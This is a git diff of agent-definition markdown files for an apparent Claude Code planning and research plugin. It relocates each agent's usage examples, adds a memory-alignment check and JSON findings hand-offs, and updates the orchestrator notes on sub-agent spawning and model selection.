`status: "verified"`; with one or more, set `status: "contradictions"`.
|
||||
- **If NO memory context is supplied:** score `5`, set `contradictions: []`,
|
||||
`status: "n_a"`, and note "no memory context supplied". Do not speculate or
|
||||
invent contradictions.
|
||||
|
||||
The `status` field is load-bearing: a `score: 5` alone is ambiguous because it is
|
||||
emitted both when memory was checked and aligned (`verified`) and when no memory
|
||||
was available to check (`n_a`). Downstream gates that read `memory_alignment.score
|
||||
≥ 4` therefore pass in *both* cases — `status` is what tells the operator whether
|
||||
the wrong-premise defense actually ran or was simply absent.
|
||||
|
||||
Flag as **memory-misaligned** if:
|
||||
- The frontmatter `framing:` value contradicts memory (e.g. `framing: preserve`
|
||||
but memory records the prior direction was explicitly abandoned)
|
||||
- `## Intent` or `## Goal` asserts a premise a memory fact directly negates
|
||||
- A Constraint or Preference contradicts a recorded operator preference
|
||||
|
||||
For each contradiction, capture: the brief claim (quoted), the memory fact
|
||||
(quoted), and the source file. These feed `/trekbrief` Phase 4e follow-ups.
|
||||
|
||||
## Rating
|
||||
|
||||
Rate each dimension on two parallel scales:
|
||||
|
|
@ -193,6 +212,7 @@ find it by reading the last `json` code fence.
|
|||
| Testability | {Pass/Weak/Fail} | {brief summary or "None"} |
|
||||
| Scope clarity | {Pass/Weak/Fail} | {brief summary or "None"} |
|
||||
| Research Plan | {Pass/Weak/Fail} | {brief summary or "None"} |
|
||||
| Memory alignment | {Pass/Weak/Fail} | {brief summary, "None", or "N/A — no memory"} |
|
||||
|
||||
### Findings
|
||||
|
||||
|
|
@ -224,6 +244,13 @@ information that would strengthen the brief. List only if actionable.}
|
|||
{ "topic": "{topic title}", "issue": "{what is missing or wrong}" }
|
||||
]
|
||||
},
|
||||
"memory_alignment": {
|
||||
"score": 1-5,
|
||||
"status": "verified | n_a | contradictions",
|
||||
"contradictions": [
|
||||
{ "brief_claim": "{quoted brief text}", "memory_fact": "{quoted memory fact}", "file": "{source file}" }
|
||||
]
|
||||
},
|
||||
"verdict": "PROCEED | PROCEED_WITH_RISKS | REVISE"
|
||||
}
|
||||
```
|
||||
|
|
@ -257,3 +284,23 @@ information that would strengthen the brief. List only if actionable.}
|
|||
files or technologies exist, but deep code analysis is not your job.
|
||||
- **Research-plan checks are load-bearing.** A brief with `research_status: pending`
|
||||
and missing research files is a scope hazard — flag it as a major risk.
|
||||
|
||||
## When to use — examples
|
||||
|
||||
<example>
|
||||
Context: Voyage runs brief review before exploration
|
||||
user: "/trekplan --project .claude/projects/2026-04-18-notifications"
|
||||
assistant: "Reviewing brief quality before launching exploration agents."
|
||||
<commentary>
|
||||
Orchestrator Phase 1b triggers this agent after the brief is available.
|
||||
</commentary>
|
||||
</example>
|
||||
|
||||
<example>
|
||||
Context: User wants to validate a brief before planning
|
||||
user: "Review this brief for completeness"
|
||||
assistant: "I'll use the brief-reviewer agent to check brief quality."
|
||||
<commentary>
|
||||
Brief review request triggers the agent.
|
||||
</commentary>
|
||||
</example>
|
||||
|
|
|
|||
|
|
@ -4,26 +4,6 @@ description: |
|
|||
Use this agent when the research task requires practical, real-world experience rather
|
||||
than official documentation — community sentiment, production war stories, known gotchas,
|
||||
and what developers actually encounter when using a technology.
|
||||
|
||||
<example>
|
||||
Context: trekresearch needs real-world experience data on a database migration
|
||||
user: "/trekresearch What's the real-world experience with migrating from MongoDB to PostgreSQL?"
|
||||
assistant: "Launching community-researcher to find migration stories, GitHub discussions, and community experience reports."
|
||||
<commentary>
|
||||
Official docs won't cover migration regrets or production war stories. community-researcher
|
||||
targets GitHub issues, blog posts, and discussions where real experience lives.
|
||||
</commentary>
|
||||
</example>
|
||||
|
||||
<example>
|
||||
Context: trekresearch is building a technology comparison
|
||||
user: "/trekresearch Research community sentiment around adopting SvelteKit vs Next.js"
|
||||
assistant: "I'll use community-researcher to find discussions, blog posts, and community reports on both frameworks."
|
||||
<commentary>
|
||||
Framework comparisons live in community discourse, not official docs. community-researcher
|
||||
finds the practical signal that helps teams make adoption decisions.
|
||||
</commentary>
|
||||
</example>
|
||||
model: opus
|
||||
color: green
|
||||
tools: ["WebSearch", "WebFetch", "mcp__tavily__tavily_search", "mcp__tavily__tavily_research"]
|
||||
|
|
@ -133,3 +113,25 @@ End with a summary table:
|
|||
Do not pick a side — report the split.
|
||||
- **Flag if a "problem" has since been fixed.** Check if the issue/complaint references a
|
||||
version that has since been patched or superseded.
|
||||
|
||||
## When to use — examples
|
||||
|
||||
<example>
|
||||
Context: trekresearch needs real-world experience data on a database migration
|
||||
user: "/trekresearch What's the real-world experience with migrating from MongoDB to PostgreSQL?"
|
||||
assistant: "Launching community-researcher to find migration stories, GitHub discussions, and community experience reports."
|
||||
<commentary>
|
||||
Official docs won't cover migration regrets or production war stories. community-researcher
|
||||
targets GitHub issues, blog posts, and discussions where real experience lives.
|
||||
</commentary>
|
||||
</example>
|
||||
|
||||
<example>
|
||||
Context: trekresearch is building a technology comparison
|
||||
user: "/trekresearch Research community sentiment around adopting SvelteKit vs Next.js"
|
||||
assistant: "I'll use community-researcher to find discussions, blog posts, and community reports on both frameworks."
|
||||
<commentary>
|
||||
Framework comparisons live in community discourse, not official docs. community-researcher
|
||||
finds the practical signal that helps teams make adoption decisions.
|
||||
</commentary>
|
||||
</example>
|
||||
|
|
|
|||
|
|
@ -4,27 +4,8 @@ description: |
|
|||
Use this agent when the research task has an emerging conclusion that needs adversarial
|
||||
stress-testing — find counter-evidence, overlooked alternatives, and reasons the leading
|
||||
answer might be wrong.
|
||||
|
||||
<example>
|
||||
Context: trekresearch has found evidence favoring a technology and needs the other side
|
||||
user: "/trekresearch We're leaning toward adopting Kafka for our event streaming needs"
|
||||
assistant: "Launching contrarian-researcher to find the strongest arguments against Kafka and what alternatives might serve better."
|
||||
<commentary>
|
||||
The research equivalent of plan-critic. When one option is emerging as the answer,
|
||||
contrarian-researcher actively seeks disconfirming evidence to pressure-test the conclusion.
|
||||
</commentary>
|
||||
</example>
|
||||
|
||||
<example>
|
||||
Context: trekresearch is comparing options and needs the downsides of the leading candidate
|
||||
user: "/trekresearch Compare Redis vs Memcached — initial research favors Redis"
|
||||
assistant: "I'll use contrarian-researcher to find the strongest case against Redis and scenarios where Memcached wins."
|
||||
<commentary>
|
||||
Contrarian-researcher finds the downsides of the leading option — not to be negative,
|
||||
but to ensure the final recommendation is genuinely considered.
|
||||
</commentary>
|
||||
</example>
|
||||
model: opus
|
||||
effort: high
|
||||
color: red
|
||||
tools: ["WebSearch", "WebFetch", "mcp__tavily__tavily_search", "mcp__tavily__tavily_research"]
|
||||
---
|
||||
|
|
@ -151,3 +132,25 @@ Followed by a **Verdict** section:
|
|||
apply to a read-heavy workload. Assess relevance before reporting.
|
||||
- **Check recency.** A problem from 2019 that the project fixed in 2021 is not current
|
||||
counter-evidence. Flag whether issues are current or historical.
|
||||
|
||||
## When to use — examples
|
||||
|
||||
<example>
|
||||
Context: trekresearch has found evidence favoring a technology and needs the other side
|
||||
user: "/trekresearch We're leaning toward adopting Kafka for our event streaming needs"
|
||||
assistant: "Launching contrarian-researcher to find the strongest arguments against Kafka and what alternatives might serve better."
|
||||
<commentary>
|
||||
The research equivalent of plan-critic. When one option is emerging as the answer,
|
||||
contrarian-researcher actively seeks disconfirming evidence to pressure-test the conclusion.
|
||||
</commentary>
|
||||
</example>
|
||||
|
||||
<example>
|
||||
Context: trekresearch is comparing options and needs the downsides of the leading candidate
|
||||
user: "/trekresearch Compare Redis vs Memcached — initial research favors Redis"
|
||||
assistant: "I'll use contrarian-researcher to find the strongest case against Redis and scenarios where Memcached wins."
|
||||
<commentary>
|
||||
Contrarian-researcher finds the downsides of the leading option — not to be negative,
|
||||
but to ensure the final recommendation is genuinely considered.
|
||||
</commentary>
|
||||
</example>
|
||||
|
|
|
|||
|
|
@ -5,24 +5,6 @@ description: |
|
|||
Produces a structured conventions report covering naming, directory layout,
|
||||
import style, error handling, test patterns, git commit style, and
|
||||
documentation patterns. Uses concrete examples from the codebase.
|
||||
|
||||
<example>
|
||||
Context: Voyage exploration phase for a medium+ codebase
|
||||
user: "/trekplan Add authentication to the API"
|
||||
assistant: "Launching convention-scanner to discover coding patterns."
|
||||
<commentary>
|
||||
Phase 5 of trekplan triggers this agent for medium+ codebases (50+ files).
|
||||
</commentary>
|
||||
</example>
|
||||
|
||||
<example>
|
||||
Context: User wants to understand a project's conventions before contributing
|
||||
user: "What are the coding conventions in this project?"
|
||||
assistant: "I'll use the convention-scanner agent to analyze the codebase."
|
||||
<commentary>
|
||||
Direct convention discovery request triggers the agent.
|
||||
</commentary>
|
||||
</example>
|
||||
model: opus
|
||||
color: yellow
|
||||
tools: ["Read", "Glob", "Grep", "Bash"]
|
||||
|
|
@ -159,3 +141,23 @@ Based on existing conventions, new code should:
|
|||
than scanning everything.
|
||||
- **Stay focused.** This is about conventions — not architecture, dependencies, or risks.
|
||||
Those are handled by other agents.
|
||||
|
||||
## When to use — examples
|
||||
|
||||
<example>
|
||||
Context: Voyage exploration phase for a medium+ codebase
|
||||
user: "/trekplan Add authentication to the API"
|
||||
assistant: "Launching convention-scanner to discover coding patterns."
|
||||
<commentary>
|
||||
Phase 5 of trekplan triggers this agent for medium+ codebases (50+ files).
|
||||
</commentary>
|
||||
</example>
|
||||
|
||||
<example>
|
||||
Context: User wants to understand a project's conventions before contributing
|
||||
user: "What are the coding conventions in this project?"
|
||||
assistant: "I'll use the convention-scanner agent to analyze the codebase."
|
||||
<commentary>
|
||||
Direct convention discovery request triggers the agent.
|
||||
</commentary>
|
||||
</example>
|
||||
|
|
|
|||
|
|
@ -3,25 +3,8 @@ name: dependency-tracer
|
|||
description: |
|
||||
Use this agent when you need to trace import chains, map data flow, or understand
|
||||
how modules connect and what side effects they produce.
|
||||
|
||||
<example>
|
||||
Context: Voyage needs to understand module relationships for a task
|
||||
user: "/trekplan Refactor the payment processing pipeline"
|
||||
assistant: "Launching dependency-tracer to map module connections and data flow."
|
||||
<commentary>
|
||||
Phase 5 of trekplan triggers this agent to trace dependencies relevant to the task.
|
||||
</commentary>
|
||||
</example>
|
||||
|
||||
<example>
|
||||
Context: User needs to understand impact of changing a module
|
||||
user: "What would break if I change the User model?"
|
||||
assistant: "I'll use the dependency-tracer agent to trace all dependents of the User model."
|
||||
<commentary>
|
||||
Impact analysis request triggers the agent.
|
||||
</commentary>
|
||||
</example>
|
||||
model: opus
|
||||
effort: medium
|
||||
color: blue
|
||||
tools: ["Read", "Glob", "Grep", "Bash"]
|
||||
---
|
||||
|
|
@ -92,3 +75,23 @@ Structure as:
|
|||
6. **Risk Flags** — circular deps, tight coupling, hidden side effects
|
||||
|
||||
Include file paths and line numbers for every finding.
|
||||
|
||||
## When to use — examples
|
||||
|
||||
<example>
|
||||
Context: Voyage needs to understand module relationships for a task
|
||||
user: "/trekplan Refactor the payment processing pipeline"
|
||||
assistant: "Launching dependency-tracer to map module connections and data flow."
|
||||
<commentary>
|
||||
Phase 5 of trekplan triggers this agent to trace dependencies relevant to the task.
|
||||
</commentary>
|
||||
</example>
|
||||
|
||||
<example>
|
||||
Context: User needs to understand impact of changing a module
|
||||
user: "What would break if I change the User model?"
|
||||
assistant: "I'll use the dependency-tracer agent to trace all dependents of the User model."
|
||||
<commentary>
|
||||
Impact analysis request triggers the agent.
|
||||
</commentary>
|
||||
</example>
|
||||
|
|
|
|||
|
|
@ -3,26 +3,6 @@ name: docs-researcher
|
|||
description: |
|
||||
Use this agent when the research task requires authoritative information from official
|
||||
documentation, RFCs, vendor specifications, or Microsoft/Azure documentation.
|
||||
|
||||
<example>
|
||||
Context: trekresearch needs to ground an OAuth2 implementation in official specs
|
||||
user: "/trekresearch Research OAuth2 PKCE flow for our SPA"
|
||||
assistant: "Launching docs-researcher to find the official RFC and vendor documentation for OAuth2 PKCE."
|
||||
<commentary>
|
||||
docs-researcher targets authoritative sources — RFCs, specs, official vendor docs —
|
||||
not community opinions. This is the right agent for protocol and standards questions.
|
||||
</commentary>
|
||||
</example>
|
||||
|
||||
<example>
|
||||
Context: trekresearch encounters an Azure-specific technology
|
||||
user: "/trekresearch How should we configure Azure Service Bus for our event pipeline?"
|
||||
assistant: "I'll use docs-researcher with Microsoft Learn to get authoritative Azure Service Bus documentation."
|
||||
<commentary>
|
||||
Microsoft/Azure technologies have dedicated MCP tools (microsoft_docs_search,
|
||||
microsoft_docs_fetch) that docs-researcher uses for higher-quality results.
|
||||
</commentary>
|
||||
</example>
|
||||
model: opus
|
||||
color: blue
|
||||
tools: ["WebSearch", "WebFetch", "Read", "mcp__tavily__tavily_search", "mcp__tavily__tavily_research", "mcp__microsoft-learn__microsoft_docs_search", "mcp__microsoft-learn__microsoft_docs_fetch"]
|
||||
|
|
@ -119,3 +99,25 @@ End with a summary table:
|
|||
- **Flag conflicts between official sources.** When vendor docs and the spec disagree, report both.
|
||||
- **Stay focused.** Research only what the research question asks. Do not explore tangentially.
|
||||
- **Official sources only.** If you cannot find an official source, say so — do not substitute a blog post.
|
||||
|
||||
## When to use — examples
|
||||
|
||||
<example>
|
||||
Context: trekresearch needs to ground an OAuth2 implementation in official specs
|
||||
user: "/trekresearch Research OAuth2 PKCE flow for our SPA"
|
||||
assistant: "Launching docs-researcher to find the official RFC and vendor documentation for OAuth2 PKCE."
|
||||
<commentary>
|
||||
docs-researcher targets authoritative sources — RFCs, specs, official vendor docs —
|
||||
not community opinions. This is the right agent for protocol and standards questions.
|
||||
</commentary>
|
||||
</example>
|
||||
|
||||
<example>
|
||||
Context: trekresearch encounters an Azure-specific technology
|
||||
user: "/trekresearch How should we configure Azure Service Bus for our event pipeline?"
|
||||
assistant: "I'll use docs-researcher with Microsoft Learn to get authoritative Azure Service Bus documentation."
|
||||
<commentary>
|
||||
Microsoft/Azure technologies have dedicated MCP tools (microsoft_docs_search,
|
||||
microsoft_docs_fetch) that docs-researcher uses for higher-quality results.
|
||||
</commentary>
|
||||
</example>
|
||||
|
|
|
|||
|
|
@ -5,25 +5,6 @@ description: |
|
|||
needed on a technology choice, architectural question, or complex research topic.
|
||||
Provides triangulation value by running a completely independent research path
|
||||
that can confirm or challenge findings from other agents.
|
||||
|
||||
<example>
|
||||
Context: trekresearch launches gemini-bridge for an independent second opinion on a technology choice
|
||||
user: "/trekplan Should we use Kafka or NATS for our event streaming layer?"
|
||||
assistant: "Launching gemini-bridge for an independent second opinion on Kafka vs NATS."
|
||||
<commentary>
|
||||
Technology choice with significant architectural implications triggers gemini-bridge
|
||||
to provide an independent research path alongside local exploration agents.
|
||||
</commentary>
|
||||
</example>
|
||||
|
||||
<example>
|
||||
Context: user wants deep research via Gemini on a complex architectural question
|
||||
user: "Get me a Gemini deep research on event sourcing patterns for distributed systems"
|
||||
assistant: "I'll use the gemini-bridge agent to run a deep research on event sourcing patterns."
|
||||
<commentary>
|
||||
Direct request for Gemini research on a complex architectural question triggers the agent.
|
||||
</commentary>
|
||||
</example>
|
||||
model: opus
|
||||
color: magenta
|
||||
tools: ["mcp__gemini-mcp__gemini_deep_research", "mcp__gemini-mcp__gemini_get_research_status", "mcp__gemini-mcp__gemini_get_research_result", "mcp__gemini-mcp__gemini_research_followup"]
|
||||
|
|
@ -147,3 +128,24 @@ and other external agents:*
|
|||
- **Graceful degradation at every step.** Unavailable tool, failed research, timeout —
|
||||
all are handled with a clear status message and immediate return. Never leave the
|
||||
pipeline hanging.
|
||||
|
||||
## When to use — examples
|
||||
|
||||
<example>
|
||||
Context: trekresearch launches gemini-bridge for an independent second opinion on a technology choice
|
||||
user: "/trekplan Should we use Kafka or NATS for our event streaming layer?"
|
||||
assistant: "Launching gemini-bridge for an independent second opinion on Kafka vs NATS."
|
||||
<commentary>
|
||||
Technology choice with significant architectural implications triggers gemini-bridge
|
||||
to provide an independent research path alongside local exploration agents.
|
||||
</commentary>
|
||||
</example>
|
||||
|
||||
<example>
|
||||
Context: user wants deep research via Gemini on a complex architectural question
|
||||
user: "Get me a Gemini deep research on event sourcing patterns for distributed systems"
|
||||
assistant: "I'll use the gemini-bridge agent to run a deep research on event sourcing patterns."
|
||||
<commentary>
|
||||
Direct request for Gemini research on a complex architectural question triggers the agent.
|
||||
</commentary>
|
||||
</example>
|
||||
|
|
|
|||
|
|
@ -3,25 +3,8 @@ name: git-historian
|
|||
description: |
|
||||
Use this agent to analyze git history for planning context — recent changes,
|
||||
code ownership, hot files, and active branches relevant to the task.
|
||||
|
||||
<example>
|
||||
Context: Voyage exploration phase needs git context
|
||||
user: "/trekplan Refactor the database layer"
|
||||
assistant: "Launching git-historian to check recent changes and ownership of DB code."
|
||||
<commentary>
|
||||
Phase 2 of trekplan triggers this agent for every codebase size.
|
||||
</commentary>
|
||||
</example>
|
||||
|
||||
<example>
|
||||
Context: User wants to understand change history before modifying code
|
||||
user: "Who has been changing the auth module recently?"
|
||||
assistant: "I'll use the git-historian agent to analyze ownership and change patterns."
|
||||
<commentary>
|
||||
Git history analysis request triggers the agent.
|
||||
</commentary>
|
||||
</example>
|
||||
model: opus
|
||||
effort: medium
|
||||
color: yellow
|
||||
tools: ["Bash", "Read", "Glob", "Grep"]
|
||||
---
|
||||
|
|
@ -121,3 +104,23 @@ Run `git status --short` to check for:
|
|||
are risks the planner needs to know about.
|
||||
- **Use relative time.** "2 days ago" is more useful than a raw timestamp.
|
||||
- **Never expose email addresses.** Use author names only.
|
||||
|
||||
## When to use — examples
|
||||
|
||||
<example>
|
||||
Context: Voyage exploration phase needs git context
|
||||
user: "/trekplan Refactor the database layer"
|
||||
assistant: "Launching git-historian to check recent changes and ownership of DB code."
|
||||
<commentary>
|
||||
Phase 2 of trekplan triggers this agent for every codebase size.
|
||||
</commentary>
|
||||
</example>
|
||||
|
||||
<example>
|
||||
Context: User wants to understand change history before modifying code
|
||||
user: "Who has been changing the auth module recently?"
|
||||
assistant: "I'll use the git-historian agent to analyze ownership and change patterns."
|
||||
<commentary>
|
||||
Git history analysis request triggers the agent.
|
||||
</commentary>
|
||||
</example>
|
||||
|
|
|
|||
|
|
@ -3,25 +3,8 @@ name: plan-critic
|
|||
description: |
|
||||
Use this agent when an implementation plan needs adversarial review — it finds
|
||||
problems, never praises.
|
||||
|
||||
<example>
|
||||
Context: Voyage adversarial review phase
|
||||
user: "/trekplan Implement WebSocket real-time updates"
|
||||
assistant: "Launching plan-critic to stress-test the implementation plan."
|
||||
<commentary>
|
||||
Phase 9 of trekplan triggers this agent to review the generated plan.
|
||||
</commentary>
|
||||
</example>
|
||||
|
||||
<example>
|
||||
Context: User wants a plan reviewed before execution
|
||||
user: "Review this plan and find problems"
|
||||
assistant: "I'll use the plan-critic agent to perform adversarial review."
|
||||
<commentary>
|
||||
Plan review request triggers the agent.
|
||||
</commentary>
|
||||
</example>
|
||||
model: opus
|
||||
effort: high
|
||||
color: red
|
||||
tools: ["Read", "Glob", "Grep"]
|
||||
---
|
||||
|
|
@ -272,5 +255,47 @@ quality is not scored and Headless readiness returns to 0.15.
|
|||
- Verdict: [APPROVE | APPROVE_WITH_NOTES | REVISE | REPLAN]
|
||||
```
|
||||
|
||||
### Machine-readable findings block (REQUIRED)
|
||||
|
||||
After the human-readable markdown above, emit **one** fenced `json` block as the
|
||||
**last thing in your response**. The /trekplan orchestrator extracts it verbatim
|
||||
and pipes it (with scope-guardian's) into
|
||||
`lib/review/plan-review-dedup.mjs --stdin`. You have **no Write tool** — returning
|
||||
this block inline *is* the hand-off; do not attempt to write a file.
|
||||
|
||||
```json
|
||||
{
|
||||
"agent": "plan-critic",
|
||||
"findings": [
|
||||
{ "file": "<plan path or source file>", "line": 0, "rule_key": "<dimension/short-id>", "severity": "blocker|major|minor", "text": "<one-line finding>" }
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
One object per finding. `file`/`line` point at the plan section (use the plan
|
||||
path + the step's line) or the source the finding concerns; `rule_key` is a
|
||||
short, stable id for the finding class (used for exact-match dedup). Emit
|
||||
`"findings": []` when the plan is clean.
|
||||
|
||||
Be specific. Reference exact plan sections, step numbers, and file paths.
|
||||
Never use "generally" or "usually" — cite the specific problem in this specific plan.
|
||||
|
||||
## When to use — examples
|
||||
|
||||
<example>
|
||||
Context: Voyage adversarial review phase
|
||||
user: "/trekplan Implement WebSocket real-time updates"
|
||||
assistant: "Launching plan-critic to stress-test the implementation plan."
|
||||
<commentary>
|
||||
Phase 9 of trekplan triggers this agent to review the generated plan.
|
||||
</commentary>
|
||||
</example>
|
||||
|
||||
<example>
|
||||
Context: User wants a plan reviewed before execution
|
||||
user: "Review this plan and find problems"
|
||||
assistant: "I'll use the plan-critic agent to perform adversarial review."
|
||||
<commentary>
|
||||
Plan review request triggers the agent.
|
||||
</commentary>
|
||||
</example>
|
||||
|
|
|
|||
|
|
@ -1,17 +1,9 @@
|
|||
---
|
||||
name: planning-orchestrator
|
||||
description: |
|
||||
Inline reference (v2.4.0) — documents the planning workflow that
|
||||
/trekplan executes in main context. This file is NOT spawned as a
|
||||
sub-agent anymore. The Claude Code harness does not expose the Agent tool
|
||||
to sub-agents, so an orchestrator launched with run_in_background: true
|
||||
cannot spawn the exploration swarm (architecture-mapper, task-finder,
|
||||
plan-critic, etc.) and would degrade to single-context reasoning. The
|
||||
/trekplan command now orchestrates the phases below directly in the
|
||||
main session.
|
||||
description: Reference document, not a spawnable capability — documents the /trekplan planning workflow that runs inline in main context (full rationale, CC-2.1.172 history, and phase map in body).
|
||||
model: opus
|
||||
color: cyan
|
||||
tools: ["Agent", "Read", "Glob", "Grep", "Write", "Edit", "Bash", "TaskCreate", "TaskUpdate"]
|
||||
tools: ["Read", "Glob", "Grep", "Write", "Edit", "Bash", "TaskCreate", "TaskUpdate"]
|
||||
---
|
||||
|
||||
<!-- Phase mapping: orchestrator → command
|
||||
|
|
@ -29,9 +21,14 @@ tools: ["Agent", "Read", "Glob", "Grep", "Write", "Edit", "Bash", "TaskCreate",
|
|||
|
||||
This document is the canonical workflow description for the trekplan
|
||||
pipeline as of v2.4.0. The `/trekplan` command reads it as reference
|
||||
and executes the phases below **inline in the main command context**. It is
|
||||
no longer spawned as a background sub-agent — that mode silently lost the
|
||||
Agent tool and degraded the exploration swarm to single-context reasoning.
|
||||
and executes the phases below **inline in the main command context**. It was
|
||||
moved out of background sub-agent mode because, before Claude Code 2.1.172,
|
||||
that mode silently lost the Agent tool and degraded the exploration swarm to
|
||||
single-context reasoning. As of CC 2.1.172 sub-agents can spawn sub-agents
|
||||
(up to 5 levels deep), so this constraint no longer holds; a
|
||||
delegated-orchestration redesign is under evaluation (see
|
||||
`docs/cc-upgrade-2.1.181-decision-matrix.md`, W1/CC-26). Until then,
|
||||
orchestration stays inline.
|
||||
|
||||
The role of the "orchestrator" now belongs to the command markdown itself:
|
||||
the main Opus session launches exploration and review agents via the Agent
|
||||
|
|
@ -410,16 +407,21 @@ have zero data dependencies; serializing them wastes 30–60 seconds per run.
|
|||
missing error handling, scope creep, underspecified steps, AND manifest
|
||||
quality (dimension 10: every step has a valid, regex-compilable,
|
||||
path-verified manifest). Missing or invalid manifest = **major** finding.
|
||||
Write structured JSON to `/tmp/plan-critic-out.json`.
|
||||
Returns its findings as a trailing machine-readable `json` block (it has no
|
||||
Write tool — the block is the hand-off).
|
||||
- `scope-guardian` — verify plan matches the brief's requirements, find scope
|
||||
creep (plan does more than the brief specifies) and scope gaps (plan misses
|
||||
brief requirements), validate file/function references. Confirm every
|
||||
Success Criterion in the brief is covered by the plan's Verification section.
|
||||
Write structured JSON to `/tmp/scope-guardian-out.json`.
|
||||
Returns its findings as a trailing machine-readable `json` block (no Write tool).
|
||||
|
||||
After both complete, run an inline dedup pass via
|
||||
`node ${CLAUDE_PLUGIN_ROOT}/lib/review/plan-review-dedup.mjs --plan-critic /tmp/plan-critic-out.json --scope-guardian /tmp/scope-guardian-out.json > /tmp/plan-review-merged.json`.
|
||||
The merged array attributes each finding to `[plan-critic, scope-guardian]`
|
||||
After both complete, extract each reviewer's trailing `json` findings block and
|
||||
pipe both into the dedup helper via **stdin** (the reviewers are read-only and
|
||||
cannot write temp files; the orchestrator persists by piping their inline blocks):
|
||||
`node ${CLAUDE_PLUGIN_ROOT}/lib/review/plan-review-dedup.mjs --stdin` fed
|
||||
`{ "plan_critic": <block>, "scope_guardian": <block> }`. The helper exits
|
||||
non-zero on malformed stdin, so a broken hand-off cannot hide behind an empty
|
||||
merge. The merged array attributes each finding to `[plan-critic, scope-guardian]`
|
||||
if both reviewers raised it. Revise the plan once for the merged set, not
|
||||
twice for the duplicates. Source: research/05 R1 + R2.
|
||||
|
||||
|
|
@ -470,7 +472,10 @@ You can:
|
|||
of the brief (Intent, Goal, Constraint, Preference, NFR, Success Criterion).
|
||||
A plan step with no brief basis is scope creep — flag it or remove it.
|
||||
- **Scope:** Only explore the current working directory. Never read files outside the repo.
|
||||
- **Cost:** Use Sonnet for all sub-agents. You (the orchestrator) run on Opus.
|
||||
- **Cost:** Sub-agents use their pinned `model:` frontmatter (currently `opus`
|
||||
for all). A `phase_signals[<phase>].model` brief signal or the active
|
||||
`--profile` (e.g. `economy`) overrides the model per-phase. You (the
|
||||
orchestrator) run on Opus.
|
||||
- **Privacy:** Never log secrets, tokens, or credentials.
|
||||
- **Quality:** Every file path in the plan must be verified. Every "reuses" reference
|
||||
must point to real code. The plan must stand alone without exploration context.
|
||||
|
|
|
|||
|
|
@ -1,16 +1,9 @@
|
|||
---
|
||||
name: research-orchestrator
|
||||
description: |
|
||||
Inline reference (v2.4.0) — documents the research workflow that
|
||||
/trekresearch executes in main context. This file is NOT spawned as
|
||||
a sub-agent anymore. The Claude Code harness does not expose the Agent tool
|
||||
to sub-agents, so an orchestrator launched with run_in_background: true
|
||||
cannot spawn the research swarm and would degrade to single-context
|
||||
reasoning. The /trekresearch command now orchestrates the phases
|
||||
below directly in the main session.
|
||||
description: Reference document, not a spawnable capability — documents the /trekresearch workflow that runs inline in main context (full rationale, CC-2.1.172 history, and phase map in body).
|
||||
model: opus
|
||||
color: cyan
|
||||
tools: ["Agent", "Read", "Glob", "Grep", "Write", "Edit", "Bash"]
|
||||
tools: ["Read", "Glob", "Grep", "Write", "Edit", "Bash"]
|
||||
---
|
||||
|
||||
<!-- Phase mapping: orchestrator → command
|
||||
|
|
@ -216,7 +209,10 @@ You can:
|
|||
|
||||
- **Scope:** Codebase analysis is limited to the current working directory.
|
||||
External research has no such limit.
|
||||
- **Cost:** Use Sonnet for all sub-agents. You (the orchestrator) run on Opus.
|
||||
- **Cost:** Sub-agents use their pinned `model:` frontmatter (currently `opus`
|
||||
for all). A `phase_signals[<phase>].model` brief signal or the active
|
||||
`--profile` (e.g. `economy`) overrides the model per-phase. You (the
|
||||
orchestrator) run on Opus.
|
||||
- **Privacy:** Never log secrets, tokens, or credentials in the brief.
|
||||
- **Sources:** Every claim in the brief must cite a source (URL or file path).
|
||||
Never invent findings.
|
||||
|
|
|
|||
|
|
@ -3,24 +3,6 @@ name: research-scout
|
|||
description: |
|
||||
Use this agent when the implementation task involves unfamiliar technologies, external
|
||||
APIs, or libraries where official documentation and known issues should be checked.
|
||||
|
||||
<example>
|
||||
Context: Voyage detects external technology in the task
|
||||
user: "/trekplan Integrate Stripe payment processing"
|
||||
assistant: "Launching research-scout to find Stripe documentation and best practices."
|
||||
<commentary>
|
||||
Phase 5 of trekplan conditionally triggers this agent when external tech is detected.
|
||||
</commentary>
|
||||
</example>
|
||||
|
||||
<example>
|
||||
Context: User needs research before implementation
|
||||
user: "Research the best approach for WebSocket scaling"
|
||||
assistant: "I'll use the research-scout agent to find documentation and best practices."
|
||||
<commentary>
|
||||
Research request for external technology triggers the agent.
|
||||
</commentary>
|
||||
</example>
|
||||
model: opus
|
||||
color: blue
|
||||
tools: ["WebSearch", "WebFetch", "Read"]
|
||||
|
|
@ -118,3 +100,23 @@ End with a summary table:
|
|||
- **Date everything.** Documentation ages — the reader needs to judge freshness.
|
||||
- **Flag conflicts.** If official docs and community advice disagree, report both.
|
||||
- **Stay focused.** Research only what the task needs. Do not explore tangentially.
|
||||
|
||||
## When to use — examples
|
||||
|
||||
<example>
|
||||
Context: Voyage detects external technology in the task
|
||||
user: "/trekplan Integrate Stripe payment processing"
|
||||
assistant: "Launching research-scout to find Stripe documentation and best practices."
|
||||
<commentary>
|
||||
Phase 5 of trekplan conditionally triggers this agent when external tech is detected.
|
||||
</commentary>
|
||||
</example>
|
||||
|
||||
<example>
|
||||
Context: User needs research before implementation
|
||||
user: "Research the best approach for WebSocket scaling"
|
||||
assistant: "I'll use the research-scout agent to find documentation and best practices."
|
||||
<commentary>
|
||||
Research request for external technology triggers the agent.
|
||||
</commentary>
|
||||
</example>
|
||||
|
|
|
|||
|
|
@ -7,6 +7,7 @@ description: |
|
|||
Judge filters, Cloudflare reasonableness filter, verdict computation.
|
||||
Synthesis-level inference across files is forbidden in v1.0.
|
||||
model: opus
|
||||
effort: high
|
||||
color: yellow
|
||||
tools: ["Read", "Glob", "Grep"]
|
||||
---
|
||||
|
|
|
|||
|
|
@ -1,18 +1,9 @@
|
|||
---
|
||||
name: review-orchestrator
|
||||
description: |
|
||||
Inline reference (v3.2.0) — documents the review workflow that
|
||||
/trekreview executes in main context. This file is NOT spawned
|
||||
as a sub-agent. The Claude Code harness does not expose the Agent tool
|
||||
to sub-agents, so a background orchestrator launched with
|
||||
run_in_background: true cannot spawn the reviewer swarm
|
||||
(brief-conformance-reviewer, code-correctness-reviewer, review-coordinator)
|
||||
and would degrade silently to single-context reasoning. The
|
||||
/trekreview command now orchestrates the phases below directly in
|
||||
the main session.
|
||||
description: Reference document, not a spawnable capability — documents the /trekreview workflow that runs inline in main context (full rationale, CC-2.1.172 history, and phase map in body).
|
||||
model: opus
|
||||
color: red
|
||||
